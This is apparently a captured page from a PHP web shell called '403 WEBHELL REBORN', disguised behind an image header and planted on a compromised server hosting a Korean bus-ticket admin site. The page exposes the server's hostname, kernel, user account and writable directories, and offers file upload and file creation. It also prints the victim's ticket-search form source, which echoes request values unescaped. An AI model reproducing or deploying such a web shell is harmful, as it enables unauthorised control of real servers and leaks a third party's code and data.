ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/ticket/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/ticket/ticket_list_search.php
<?php 
$today 				= date("Y-m-d");
$yesterday 			= date('Y-m-d', strtotime("-1 day",strtotime($today) ) ); // 어제
$bebore7day 		= date('Y-m-d', strtotime("-7 day",strtotime($today) ) ); // 7일
$bebore15day		= date('Y-m-d', strtotime("-15 day",strtotime($today) ) ); // 15일
$bebore1month 	= date('Y-m-d', strtotime("-1 month",strtotime($today) ) ); // 1개월
$bebore3month 	= date('Y-m-d', strtotime("-3 month",strtotime($today) ) ); // 3개월
$bebore1year 		= date('Y-m-d', strtotime("-1 year",strtotime($today) ) ); // 1년

//공급처
$prod_arr = member_fetch(" and mb_level ='13' and del_flag='N'  ", "bz_corp_nm ASC");
?>
<!-- 폼 -->
<form name="frm_search" id="frm_search" method="get">
<input type="hidden" name="period_date_s" id="period_date_s" value="<?=$period_date_s?>">
<input type="hidden" name="order_by_s" value="<?=$order_by_s?>">
<input type="hidden" name="list_count_s" value="<?=$list_count_s?>">
<div class="c_top_bar_search">
	<table width="100%" border="0" cellpadding="0" cellspacing="0" summary="티켓 통합검색입니다." class="c_top_table">
		<caption>티켓 통합검색</caption>
		<colgroup>
		<col width="150px" />
		<col />
		</colgroup>
		<tbody>
			<tr>
				<th>검색어</th>
				<td><ul class="form_list">
						<li class="mr5">
							<select name="search_key_s" id="">
								<option value="ti_cust_nm" <?=($search_key_s=="ti_cust_nm") ? "selected":""?>>고객명</option>
								<option value="ti_cust_hp" <?=($search_key_s=="ti_cust_hp") ? "selected":""?>>고객연락처</option>
								<option value="ticket_number" <?=($search_key_s=="ticket_number") ? "selected":""?>>티켓번호</option>
								<option value="manage_code" <?=($search_key_s=="manage_code") ? "selected":""?>>관리번호</option>
								<option value="rsv_no" <?=($search_key_s=="rsv_no") ? "selected":""?>>바우처NO</option>
								<option value="ti_memo" <?=($search_key_s=="ti_memo") ? "selected":""?>>메모</option>
							</select>
						</li>
						<li>
							<input type="text" id="search_word_s" name="search_word_s" value="<?=$search_word_s?>" style="width:330px; <?if($search_multi == 1) echo"display:none;"?>" onKeypress="javascript:if(event.keyCode==13) {document.frm_search.submit();}"/>

							<textarea id="search_word_multi" name="search_word_multi" style="width:340px; height:120px; <?if($search_multi != 1) echo"display:none;"?>"><?=str_replace("|", "\r\n", $search_word_multi)?></textarea>
						</li>
						<li>
                            <a href="javascript:;" class="sch_btn" onclick="document.frm_search.submit();">검색</a>
						</li>
                        <li>
							<label style="position: relative;top: 5px;"><input type="checkbox" name="search_multi" id="search_multi" value="1" <?if($search_multi==1) echo "checked";?>> 멀티검색 (최대 100개)</label>
						</li>
							
						</li>
					</ul></td>
			</tr>
			<tr>
				<th>기간</th>
				<td><ul class="form_list">
						<li class="pt5">
							<input type="radio" name="date_key" Id="period_s_1" value="ins_dt" style="vertical-align:middle;" <?=(!$date_key or $date_key=="ins_dt") ? "checked":""?>/>
							<label for="period_s_1" title="등록일">등록일</label>
						</li>
						<li class="pt5">
							<input type="radio" name="date_key" Id="period_s_2" value="ti_send_dt" style="vertical-align:middle;" <?=($date_key=="ti_send_dt") ? "checked":""?>/>
							<label for="period_s_2" title="발송일">발송일</label>
						</li>
						<li class="pt5">
							<input type="radio" name="date_key" Id="period_s_3" value="ti_use_dt" style="vertical-align:middle;" <?=($date_key=="ti_use_dt") ? "checked":""?>/>
							<label for="period_s_3" title="사용일">사용일</label>
						</li>
						<li>
							<input type="text" name="date_s1" id="date_s1" class="cal_input" value="<?=$date_s1?>" onclick="AjaxCal(this,event);" readonly>
							~
							<input type="text" name="date_s2" id="date_s2" class="cal_input" value="<?=$date_s2?>" onclick="AjaxCal(this,event);" readonly>
						</li>
						<li>
							<ul class="form_in_btn item_period_date">
								<li class="<?=($period_date_s=="today") ? "on":""?>"><a href="javascript:;" onclick="$('#date_s1').val('<?=$today?>');$('#date_s2').val('<?=$today?>');$('#period_date_s').val('today');"style="color:red;font-weight:800">Today</a></li>
								<li class="<?=($period_date_s=="yesterday") ? "on":""?>"><a href="javascript:;" onclick="$('#date_s1').val('<?=$yesterday?>');$('#date_s2').val('<?=$yesterday?>');$('#period_date_s').val('yesterday');">어제</a></li>
								<li class="<?=($period_date_s=="bebore7day") ? "on":""?>"><a href="javascript:;" onclick="$('#date_s1').val('<?=$bebore7day?>');$('#date_s2').val('<?=$today?>');$('#period_date_s').val('bebore7day');">7일</a></li>
								<li class="<?=($period_date_s=="bebore15day") ? "on":""?>"><a href="javascript:;" onclick="$('#date_s1').val('<?=$bebore15day?>');$('#date_s2').val('<?=$today?>');$('#period_date_s').val('bebore15day');">15일</a></li>
								<li class="<?=($period_date_s=="bebore1month") ? "on":""?>"><a href="javascript:;" onclick="$('#date_s1').val('<?=$bebore1month?>');$('#date_s2').val('<?=$today?>');$('#period_date_s').val('bebore1month');">1개월</a></li>
								<li class="<?=($period_date_s=="bebore3month") ? "on":""?>"><a href="javascript:;" onclick="$('#date_s1').val('<?=$bebore3month?>');$('#date_s2').val('<?=$today?>');$('#period_date_s').val('bebore3month');">3개월</a></li>
								<li class="<?=($period_date_s=="bebore1year") ? "on":""?>"><a href="javascript:;" onclick="$('#date_s1').val('<?=$bebore1year?>');$('#date_s2').val('<?=$today?>');$('#period_date_s').val('bebore1year');">1년</a></li>
								<li class="<?=(!$period_date_s) ? "on":""?>"><a href="javascript:;" onclick="$('#date_s1').val('');$('#date_s2').val('');$('#period_date_s').val('');">전체</a></li>
							</ul>
						</li>
					</ul>
				</td>
			</tr>
			<tr>
				<th>티켓상태</th>
				<td><ul class="form_list">
						<li>
							<input type="radio" name="ticket_status" Id="ticket_status1" value="" style="vertical-align:middle;" <?=(!$ticket_status) ? "checked":""?>/>
							<label for="ticket_status1" title="전체">전체</label>
						</li>
						<li>
							<input type="radio" name="ticket_status" Id="ticket_status2" value="W" style="vertical-align:middle;" <?=($ticket_status=="W") ? "checked":""?>/>
							<label for="ticket_status2" title="미사용">미사용</label>
						</li>
						<li>
							<input type="radio" name="ticket_status" Id="ticket_status3" value="S" style="vertical-align:middle;" <?=($ticket_status=="S") ? "checked":""?>/>
							<label for="ticket_status3" title="발송완료">발송완료</label>
						</li>
						<li>
							<input type="radio" name="ticket_status" Id="ticket_status4" value="U" style="vertical-align:middle;" <?=($ticket_status=="U") ? "checked":""?>/>
							<label for="ticket_status4" title="사용완료">사용완료</label>
						</li>
						<li>
							<input type="radio" name="ticket_status" Id="ticket_status5" value="C" style="vertical-align:middle;" <?=($ticket_status=="C") ? "checked":""?>/>
							<label for="ticket_status5" title="취소">취소</label>
						</li>
					</ul></td>
			</tr>
			<tr class="bot_line">
				<th>분류</th>
				<td><ul class="form_list">
					<li>

                    <input type="text" id="producer_search" placeholder="공급처 검색" style="border:none;border: 1px solid #ccc;margin-left:0px"/>

                    <script>
                        //공급처 검색기능
                        producerIdTagList= $("#producer_id").html();

                        $("#producer_search").on("keyup",function(){

                            searchKeywordProducer = $(this).val();

                            isSelected = false;

                            if(searchKeywordProducer != '') {
                                searchSuccessCnt = 0;
                                for (i = 0; i < $('#producer_id option').length; i++) {
                                    if ($('#producer_id option:eq(' + i + ')').text().indexOf(searchKeywordProducer) >= 0) {
                                        if(!isSelected){
                                            isSelected = true;
                                            $('#producer_id option:eq(' + i + ')').prop("selected",true);
                                        }
                                        $('#producer_id option:eq(' + i + ')').show();
                                        searchSuccessCnt++;
                                    } else {
                                        $('#producer_id option:eq(' + i + ')').hide();
                                    }
                                }

                                if(!searchSuccessCnt){
                                    $('#producer_id option').show();
                                    $('#producer_id').val('');
                                }
                            }else{
                                $('#producer_id option').show();
                                $('#producer_id').val('');
                            }

                            // applyGroupCodeNameAndGroup();
                            refreshTicketGroup();
                        });
                    </script>


					<select name="producer_id" id="producer_id" style="width:180px;" >
						<option value="">==선택==</option>
						<?
							foreach($prod_arr as $k => $v) {
						?>
						<option value="<?=$v['mb_id']?>" <?=($v['mb_id']==$producer_id)?"selected":""?>><?=$v['bz_corp_nm']?></option>
					<?}?>
					</select>

					<span id="ajax_ticket_nm">
					<select name="group_code" style="min-width:300px;">
						<option value="">==티켓그룹명==</option>
					</select>
					</span>

					<span style="color:red;">*티켓그룹코드는 상품등록>행사관리>API공급처코드에 입력해야 바코드를 자동으로 불러올수 있습니다.</span>
					</li>
				</ul></td>
			</tr>
		</tbody>
	</table>

</div>
<script type="text/javascript">
$(document).ready(function(){
	
	// 기간검색
	$(".item_period_date li").on("click",function(){
		$(this).addClass("on").siblings().removeClass("on");
	});

	// 공급처 선택
	$("#producer_id").on("change",function(){
		var producer_id = $(this).val();
		ajax_loader('../ticket/ticket_ajax.php?mode=good_search&producer_id='+producer_id, 'ajax_ticket_nm');
	});


	$('#search_multi').on('click', function(){
		if($("#search_multi").is(":checked") == true) {
			$('#search_word_s').hide();
			$('#search_word_multi').show();
		} else {
			$('#search_word_s').show();
			$('#search_word_multi').hide();
		}
	});

	var producer_id = $("#producer_id").val();
	var group_code = '<?=$group_code?>';

	if(producer_id != ""){
		ajax_loader('../ticket/ticket_ajax.php?mode=good_search&producer_id='+producer_id+'&group_code='+group_code, 'ajax_ticket_nm');
	}

	$('#search_word_multi').on('input focus keydown keyup', function() {

		var mawRow = 100;
		var text = $(this).val();

		var lines = text.split("\n"); 

		console.log(lines.length);

		if(lines.length > mawRow){
			alert('멀티검색은 최대 100개 까지만 검색이 가능합니다.');
		}

		while (lines.length > mawRow){
			lines.pop();
		}

		$(this).val(lines.join("\n"));
	});
});

function refreshTicketGroup(){
    var producer_id = $("#producer_id").val();
    ajax_loader('../ticket/ticket_ajax.php?mode=good_search&producer_id='+producer_id, 'ajax_ticket_nm');
}

</script>

</form>
<!-- /폼 -->





Anon7 - 2021